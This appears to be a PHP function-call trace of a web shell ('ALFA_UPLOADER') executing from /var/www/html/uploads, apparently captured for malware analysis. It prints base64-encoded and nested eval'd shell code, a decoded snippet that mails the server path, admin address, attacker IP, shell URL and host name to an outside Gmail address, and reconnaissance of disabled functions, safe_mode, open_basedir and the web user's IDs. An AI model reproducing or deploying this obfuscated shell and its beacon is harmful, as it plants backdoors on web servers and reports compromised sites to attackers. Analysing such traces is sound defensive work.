6	66	0	0.109105	3887208	vcnvSCZgBz	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	115	1	'$x = base64_decode("PD9waHAgZWNobyAiPHRpdGxlPlNvbGV2aXNpYmxlIFVwbG9hZGVyPC90aXRsZT5cbjxib2R5IGJnY29sb3I9IzAwMDAwMD5cbjxicj5cbjxjZW50ZXI+PGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjxiPllvdXIgSXAgQWRkcmVzcyBpczwvYj4gPGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjwvZm9udD48L2NlbnRlcj5cbjxiaWc+PGZvbnQgY29sb3I9XCIjN0NGQzAwXCI+PGNlbnRlcj5cbiI7ZWNobyAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTtlY2hvICI8L2NlbnRlcj48L2ZvbnQ+PC9hPjxmb250IGNvbG9yPVwiIzdDRkMwMFwiPlxuPGJyPlxuPGJyPlxuPGNlbnRlcj48Zm9udCBjb2xvcj1cIiM3Q0ZDMDBcIj48YmlnPlNvbGV2aXNpYmxlIFVwbG9hZCBBcmVh'
6		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	64	$b = 'base64_encode'
7	67	0	0.109147	3887208	base64_encode	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	65	1	'$x = base64_decode("PD9waHAgZWNobyAiPHRpdGxlPlNvbGV2aXNpYmxlIFVwbG9hZGVyPC90aXRsZT5cbjxib2R5IGJnY29sb3I9IzAwMDAwMD5cbjxicj5cbjxjZW50ZXI+PGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjxiPllvdXIgSXAgQWRkcmVzcyBpczwvYj4gPGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjwvZm9udD48L2NlbnRlcj5cbjxiaWc+PGZvbnQgY29sb3I9XCIjN0NGQzAwXCI+PGNlbnRlcj5cbiI7ZWNobyAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTtlY2hvICI8L2NlbnRlcj48L2ZvbnQ+PC9hPjxmb250IGNvbG9yPVwiIzdDRkMwMFwiPlxuPGJyPlxuPGJyPlxuPGNlbnRlcj48Zm9udCBjb2xvcj1cIiM3Q0ZDMDBcIj48YmlnPlNvbGV2aXNpYmxlIFVwbG9hZCBBcmVh'
7	67	1	0.109175	3889800
7	67	R			'JHggPSBiYXNlNjRfZGVjb2RlKCJQRDl3YUhBZ1pXTm9ieUFpUEhScGRHeGxQbE52YkdWMmFYTnBZbXhsSUZWd2JHOWhaR1Z5UEM5MGFYUnNaVDVjYmp4aWIyUjVJR0puWTI5c2IzSTlJekF3TURBd01ENWNianhpY2o1Y2JqeGpaVzUwWlhJK1BHWnZiblFnWTI5c2IzSTlYQ0ozYUdsMFpWd2lQanhpUGxsdmRYSWdTWEFnUVdSa2NtVnpjeUJwY3p3dllqNGdQR1p2Ym5RZ1kyOXNiM0k5WENKM2FHbDBaVndpUGp3dlptOXVkRDQ4TDJObGJuUmxjajVjYmp4aWFXYytQR1p2Ym5RZ1kyOXNiM0k5WENJak4wTkdRekF3WENJK1BHTmxiblJsY2o1Y2JpSTdaV05vYnlBa1gxTkZVbFpGVWxzblVrVk5UMVJGWDBGRVJGSW5YVHRsWTJodklDSThMMk5sYm5SbGNqNDhMMlp2Ym5RK1BDOWhQanht'
6	66	1	0.109206	3889768
6	66	R			'JHggPSBiYXNlNjRfZGVjb2RlKCJQRDl3YUhBZ1pXTm9ieUFpUEhScGRHeGxQbE52YkdWMmFYTnBZbXhsSUZWd2JHOWhaR1Z5UEM5MGFYUnNaVDVjYmp4aWIyUjVJR0puWTI5c2IzSTlJekF3TURBd01ENWNianhpY2o1Y2JqeGpaVzUwWlhJK1BHWnZiblFnWTI5c2IzSTlYQ0ozYUdsMFpWd2lQanhpUGxsdmRYSWdTWEFnUVdSa2NtVnpjeUJwY3p3dllqNGdQR1p2Ym5RZ1kyOXNiM0k5WENKM2FHbDBaVndpUGp3dlptOXVkRDQ4TDJObGJuUmxjajVjYmp4aWFXYytQR1p2Ym5RZ1kyOXNiM0k5WENJak4wTkdRekF3WENJK1BHTmxiblJsY2o1Y2JpSTdaV05vYnlBa1gxTkZVbFpGVWxzblVrVk5UMVJGWDBGRVJGSW5YVHRsWTJodklDSThMMk5sYm5SbGNqNDhMMlp2Ym5RK1BDOWhQanht'
5	65	1	0.109235	3889768
5	65	R			'JHggPSBiYXNlNjRfZGVjb2RlKCJQRDl3YUhBZ1pXTm9ieUFpUEhScGRHeGxQbE52YkdWMmFYTnBZbXhsSUZWd2JHOWhaR1Z5UEM5MGFYUnNaVDVjYmp4aWIyUjVJR0puWTI5c2IzSTlJekF3TURBd01ENWNianhpY2o1Y2JqeGpaVzUwWlhJK1BHWnZiblFnWTI5c2IzSTlYQ0ozYUdsMFpWd2lQanhpUGxsdmRYSWdTWEFnUVdSa2NtVnpjeUJwY3p3dllqNGdQR1p2Ym5RZ1kyOXNiM0k5WENKM2FHbDBaVndpUGp3dlptOXVkRDQ4TDJObGJuUmxjajVjYmp4aWFXYytQR1p2Ym5RZ1kyOXNiM0k5WENJak4wTkdRekF3WENJK1BHTmxiblJsY2o1Y2JpSTdaV05vYnlBa1gxTkZVbFpGVWxzblVrVk5UMVJGWDBGRVJGSW5YVHRsWTJodklDSThMMk5sYm5SbGNqNDhMMlp2Ym5RK1BDOWhQanht'
5	68	0	0.109264	3889768	define	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	910	2	'ALFA_UPLOADER'	'eval(base64_decode(\'JHggPSBiYXNlNjRfZGVjb2RlKCJQRDl3YUhBZ1pXTm9ieUFpUEhScGRHeGxQbE52YkdWMmFYTnBZbXhsSUZWd2JHOWhaR1Z5UEM5MGFYUnNaVDVjYmp4aWIyUjVJR0puWTI5c2IzSTlJekF3TURBd01ENWNianhpY2o1Y2JqeGpaVzUwWlhJK1BHWnZiblFnWTI5c2IzSTlYQ0ozYUdsMFpWd2lQanhpUGxsdmRYSWdTWEFnUVdSa2NtVnpjeUJwY3p3dllqNGdQR1p2Ym5RZ1kyOXNiM0k5WENKM2FHbDBaVndpUGp3dlptOXVkRDQ4TDJObGJuUmxjajVjYmp4aWFXYytQR1p2Ym5RZ1kyOXNiM0k5WENJak4wTkdRekF3WENJK1BHTmxiblJsY2o1Y2JpSTdaV05vYnlBa1gxTkZVbFpGVWxzblVrVk5UMVJGWDBGRVJGSW5YVHRsWTJodklDSThMMk5sYm5SbGNqNDh'
5	68	1	0.109291	3889872
5	68	R			TRUE
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	911	$sym = 'JGtpbWUgPSAiZGVuZW1lODY4ODhAZ21haWwuY29tIjsKJGJhc2xpayA9ICJDYXZkYXI1OSBsb2ciOwogJGNhdmRhcjU5ID0gIkRvc3lhIFlvbHUgOiAiIC4gJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXSAuICIKIjsKICRjYXZkYXI1OS49ICJTZXJ2ZXIgQWRtaW4gOiAiIC4gJF9TRVJWRVJbJ1NFUlZFUl9BRE1JTiddIC4gIgoiOwokY2F2ZGFyNTkuPSAiU2hlbGwgU29rYW4gS2lzaW5pbiDEsHBzaSA6ICIgLiAkX1NFUlZFUlsiUkVNT1RFX0FERFIiXSAuICIKIjsKICRjYXZkYXI1OS49ICJTZXJ2ZXIgaXNsZXRpbSBzaXN0ZW1pIDogIiAuICRfU0VSVkVSWydTRVJWRVJfU09GVFdBUkUnXSAuICIKIjsKICRjYXZkYXI1OS49ICJTaGVsbCBMaW5rIDogaHR0cDovLyIgLiAkX1NF'
5	69	0	0.109329	3889800	base64_decode	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	914	1	'JGtpbWUgPSAiZGVuZW1lODY4ODhAZ21haWwuY29tIjsKJGJhc2xpayA9ICJDYXZkYXI1OSBsb2ciOwogJGNhdmRhcjU5ID0gIkRvc3lhIFlvbHUgOiAiIC4gJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXSAuICIKIjsKICRjYXZkYXI1OS49ICJTZXJ2ZXIgQWRtaW4gOiAiIC4gJF9TRVJWRVJbJ1NFUlZFUl9BRE1JTiddIC4gIgoiOwokY2F2ZGFyNTkuPSAiU2hlbGwgU29rYW4gS2lzaW5pbiDEsHBzaSA6ICIgLiAkX1NFUlZFUlsiUkVNT1RFX0FERFIiXSAuICIKIjsKICRjYXZkYXI1OS49ICJTZXJ2ZXIgaXNsZXRpbSBzaXN0ZW1pIDogIiAuICRfU0VSVkVSWydTRVJWRVJfU09GVFdBUkUnXSAuICIKIjsKICRjYXZkYXI1OS49ICJTaGVsbCBMaW5rIDogaHR0cDovLyIgLiAkX1NF'
5	69	1	0.109361	3890600
5	69	R			'$kime = "deneme86888@gmail.com";\n$baslik = "Cavdar59 log";\n $cavdar59 = "Dosya Yolu : " . $_SERVER[\'DOCUMENT_ROOT\'] . "\n";\n $cavdar59.= "Server Admin : " . $_SERVER[\'SERVER_ADMIN\'] . "\n";\n$cavdar59.= "Shell Sokan Kisinin Ä°psi : " . $_SERVER["REMOTE_ADDR"] . "\n";\n $cavdar59.= "Server isletim sistemi : " . $_SERVER[\'SERVER_SOFTWARE\'] . "\n";\n $cavdar59.= "Shell Link : http://" . $_SERVER[\'SERVER_NAME\'] . $_SERVER[\'PHP_SELF\'] . "\n";\n $cavdar59.= "Avlanan Site : " . $_SERVER[\'HTTP_HOST\']'
5	70	0	0.109422	3896936	eval	1	'$kime = "deneme86888@gmail.com";\n$baslik = "Cavdar59 log";\n $cavdar59 = "Dosya Yolu : " . $_SERVER[\'DOCUMENT_ROOT\'] . "\n";\n $cavdar59.= "Server Admin : " . $_SERVER[\'SERVER_ADMIN\'] . "\n";\n$cavdar59.= "Shell Sokan Kisinin Ä°psi : " . $_SERVER["REMOTE_ADDR"] . "\n";\n $cavdar59.= "Server isletim sistemi : " . $_SERVER[\'SERVER_SOFTWARE\'] . "\n";\n $cavdar59.= "Shell Link : http://" . $_SERVER[\'SERVER_NAME\'] . $_SERVER[\'PHP_SELF\'] . "\n";\n $cavdar59.= "Avlanan Site : " . $_SERVER[\'HTTP_HOST\'] . "\n";\n mail($kime, $baslik, $cavdar59);\n\n\n'	/var/www/html/uploads/cvdr2.php(4) : eval()'d code	914	0
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code(914) : eval()'d code	1	$kime = 'deneme86888@gmail.com'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code(914) : eval()'d code	2	$baslik = 'Cavdar59 log'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code(914) : eval()'d code	3	$cavdar59 = 'Dosya Yolu : /var/www/html\n'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code(914) : eval()'d code	5	$cavdar59 .= 'Server Admin : webmaster@localhost\n'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code(914) : eval()'d code	7	$cavdar59 .= 'Shell Sokan Kisinin Ä°psi : 127.0.0.1\n'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code(914) : eval()'d code	9	$cavdar59 .= 'Server isletim sistemi : Apache/2.4.52 (Ubuntu)\n'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code(914) : eval()'d code	11	$cavdar59 .= 'Shell Link : http://localhost/uploads/cvdr2.php\n'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code(914) : eval()'d code	13	$cavdar59 .= 'Avlanan Site : localhost\n'
6	71	0	0.109571	3897192	mail	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code(914) : eval()'d code	15	3	'deneme86888@gmail.com'	'Cavdar59 log'	'Dosya Yolu : /var/www/html\nServer Admin : webmaster@localhost\nShell Sokan Kisinin Ä°psi : 127.0.0.1\nServer isletim sistemi : Apache/2.4.52 (Ubuntu)\nShell Link : http://localhost/uploads/cvdr2.php\nAvlanan Site : localhost\n'
6	71	1	0.110504	3897288
6	71	R			FALSE
5	70	1	0.110527	3897192
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	966	_POST['charset'] = 'Windows-1251'
5	72	0	0.110553	3893600	function_exists	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	967	1	'diskfreespace'
5	72	1	0.110568	3893640
5	72	R			TRUE
5	73	0	0.110581	3893600	diskfreespace	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	967	1	'/var/www/html/uploads/'
5	73	1	0.110600	3893632
5	73	R			196054269952
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	967	$freeSpace = 196054269952
5	74	0	0.110627	3893600	function_exists	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	968	1	'disk_total_space'
5	74	1	0.110641	3893640
5	74	R			TRUE
5	75	0	0.110654	3893600	disk_total_space	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	968	1	'/var/www/html/uploads/'
5	75	1	0.110669	3893632
5	75	R			232015802368
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	968	$totalSpace = 232015802368
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	969	$totalSpace = 232015802368
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	970	$on = '<span class=\'header_on\'> ON </span>'
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	971	$of = '<span class=\'header_off\'> OFF </span>'
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	972	$none = '<span class=\'header_none\'> NONE </span>'
5	76	0	0.110743	3893600	function_exists	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	973	1	'ssh2_connect'
5	76	1	0.110757	3893640
5	76	R			FALSE
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	976	$ssh2 = '<span class=\'header_off\'> OFF </span>'
5	77	0	0.110783	3893600	function_exists	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	977	1	'curl_version'
5	77	1	0.110797	3893640
5	77	R			TRUE
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	978	$curl = '<span class=\'header_on\'> ON </span>'
5	78	0	0.110821	3893600	function_exists	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	981	1	'mysql_get_client_info'
5	78	1	0.110835	3893640
5	78	R			FALSE
5	79	0	0.110848	3893600	class_exists	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	981	1	'mysqli'
5	79	1	0.110862	3893640
5	79	R			FALSE
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	984	$mysql = '<span class=\'header_off\'> OFF </span>'
5	80	0	0.110887	3893600	function_exists	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	985	1	'mssql_connect'
5	80	1	0.110900	3893640
5	80	R			FALSE
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	988	$mssql = '<span class=\'header_off\'> OFF </span>'
5	81	0	0.110926	3893600	function_exists	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	989	1	'pg_connect'
5	81	1	0.110939	3893640
5	81	R			FALSE
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	992	$pg = '<span class=\'header_off\'> OFF </span>'
5	82	0	0.110963	3893600	function_exists	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	993	1	'oci_connect'
5	82	1	0.110976	3893640
5	82	R			FALSE
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	996	$or = '<span class=\'header_off\'> OFF </span>'
5	83	0	0.111000	3893600	ini_get	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	997	1	'disable_functions'
5	83	1	0.111020	3894080
5	83	R			'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
5	84	0	0.111046	3893600	ini_get	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	998	1	'disable_functions'
5	84	1	0.111059	3894080
5	84	R			'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	998	$disfun = 'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
5	85	0	0.111102	3894048	ini_get	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1001	1	'safe_mode'
5	85	1	0.111116	3894080
5	85	R			FALSE
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1004	$safe_modes = '<span class=\'header_on\'>OFF</span>'
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1005	$cgi_shell = '<span class=\'header_off\' id=\'header_cgishell\'>OFF</span>'
5	86	0	0.111158	3894048	ini_get	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1006	1	'open_basedir'
5	86	1	0.111171	3894080
5	86	R			''
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1013	$open_b = '<span class=\'header_none\'> NONE </span>'
5	87	0	0.111198	3894048	ini_get	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1014	1	'safe_mode_exec_dir'
5	87	1	0.111212	3894080
5	87	R			FALSE
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1017	$safe_exe = '<span class=\'header_none\'> NONE </span>'
5	88	0	0.111238	3894048	ini_get	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1018	1	'safe_mode_include_dir'
5	88	1	0.111252	3894080
5	88	R			FALSE
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1021	$safe_include = '<span class=\'header_none\'> NONE </span>'
5	89	0	0.111277	3894048	function_exists	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1022	1	'posix_getegid'
5	89	1	0.111291	3894088
5	89	R			TRUE
5	90	0	0.111304	3894048	function_exists	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1029	1	'posix_getpwuid'
5	90	1	0.111317	3894088
5	90	R			TRUE
5	91	0	0.111329	3894048	function_exists	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1029	1	'posix_geteuid'
5	91	1	0.111342	3894088
5	91	R			TRUE
5	92	0	0.111355	3894048	posix_geteuid	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1029	0
5	92	1	0.111368	3894048
5	92	R			33
5	93	0	0.111380	3894048	posix_getpwuid	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1029	1	33
5	93	1	0.111413	3894880
5	93	R			['name' => 'www-data', 'passwd' => 'x', 'uid' => 33, 'gid' => 33, 'gecos' => 'www-data', 'dir' => '/var/www', 'shell' => '/usr/sbin/nologin']
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1029	$uid = ['name' => 'www-data', 'passwd' => 'x', 'uid' => 33, 'gid' => 33, 'gecos' => 'www-data', 'dir' => '/var/www', 'shell' => '/usr/sbin/nologin']
5	94	0	0.111457	3894848	function_exists	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1030	1	'posix_getgrgid'
5	94	1	0.111471	3894888
5	94	R			TRUE
5	95	0	0.111489	3894848	function_exists	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1030	1	'posix_getegid'
5	95	1	0.111502	3894888
5	95	R			TRUE
5	96	0	0.111515	3894848	posix_getegid	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1030	0
5	96	1	0.111528	3894848
5	96	R			33
5	97	0	0.111540	3894848	posix_getgrgid	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1030	1	33
5	97	1	0.111568	3895512
5	97	R			['name' => 'www-data', 'passwd' => 'x', 'members' => [], 'gid' => 33]
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1030	$gid = ['name' => 'www-data', 'passwd' => 'x', 'members' => [], 'gid' => 33]
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1031	$user = 'www-data'
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1032	$uid = 33
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1033	$group = 'www-data'
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1034	$gid = 33
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1036	$cwd_links = ''
5	98	0	0.111664	3894128	explode	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1037	2	'/'	'/var/www/html/uploads/'
5	98	1	0.111679	3894736
5	98	R			[0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads', 5 => '']
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1037	$path = [0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads', 5 => '']
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1038	$n = 6
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1039	$i = 0
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1040	$cwd_links .= '<a class=\'header_pwd\' onclick=\'g("FilesMan","'
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1041	$cach_cwd_path = ''
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1042	$j = 0
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1043	$cwd_links .= '/'
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1044	$cach_cwd_path .= '/'
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1042	$j++
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1046	$cwd_links .= '")\' path=\'/\' href=\'#action=fileman&path=/\'>/</a>'
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1039	$i++
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1040	$cwd_links .= '<a class=\'header_pwd\' onclick=\'g("FilesMan","'
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1041	$cach_cwd_path = ''
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1042	$j = 0
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1043	$cwd_links .= '/'
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1044	$cach_cwd_path .= '/'
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1042	$j++
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1043	$cwd_links .= 'var/'
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1044	$cach_cwd_path .= 'var/'
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1042	$j++
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1046	$cwd_links .= '")\' path=\'/var/\' href=\'#action=fileman&path=/var/\'>var/</a>'
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1039	$i++
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1040	$cwd_links .= '<a class=\'header_pwd\' onclick=\'g("FilesMan","'
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1041	$cach_cwd_path = ''
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1042	$j = 0
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1043	$cwd_links .= '/'
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1044	$cach_cwd_path .= '/'
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1042	$j++
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1043	$cwd_links .= 'var/'
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1044	$cach_cwd_path .= 'var/'
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1042	$j++
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1043	$cwd_links .= 'www/'
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1044	$cach_cwd_path .= 'www/'
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1042	$j++
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1046	$cwd_links .= '")\' path=\'/var/www/\' href=\'#action=fileman&path=/var/www/\'>www/</a>'
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1039	$i++
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1040	$cwd_links .= '<a class=\'header_pwd\' onclick=\'g("FilesMan","'
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1041	$cach_cwd_path = ''
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1042	$j = 0
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1043	$cwd_links .= '/'
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1044	$cach_cwd_path .= '/'
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1042	$j++
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1043	$cwd_links .= 'var/'
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1044	$cach_cwd_path .= 'var/'
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1042	$j++
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1043	$cwd_links .= 'www/'
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1044	$cach_cwd_path .= 'www/'
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1042	$j++
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1043	$cwd_links .= 'html/'
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1044	$cach_cwd_path .= 'html/'
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1042	$j++
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1046	$cwd_links .= '")\' path=\'/var/www/html/\' href=\'#action=fileman&path=/var/www/html/\'>html/</a>'
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1039	$i++
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1040	$cwd_links .= '<a class=\'header_pwd\' onclick=\'g("FilesMan","'
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1041	$cach_cwd_path = ''
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1042	$j = 0
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1043	$cwd_links .= '/'
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1044	$cach_cwd_path .= '/'
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1042	$j++
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1043	$cwd_links .= 'var/'
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1044	$cach_cwd_path .= 'var/'
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1042	$j++
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1043	$cwd_links .= 'www/'
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1044	$cach_cwd_path .= 'www/'
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1042	$j++
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1043	$cwd_links .= 'html/'
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1044	$cach_cwd_path .= 'html/'
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1042	$j++
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1043	$cwd_links .= 'uploads/'
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1044	$cach_cwd_path .= 'uploads/'
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1042	$j++
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1046	$cwd_links .= '")\' path=\'/var/www/html/uploads/\' href=\'#action=fileman&path=/var/www/html/uploads/\'>uploads/</a>'
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1039	$i++
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1048	$drives = ''
5	99	0	0.112462	3895480	range	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1049	2	'a'	'z'
5	99	1	0.112477	3896880
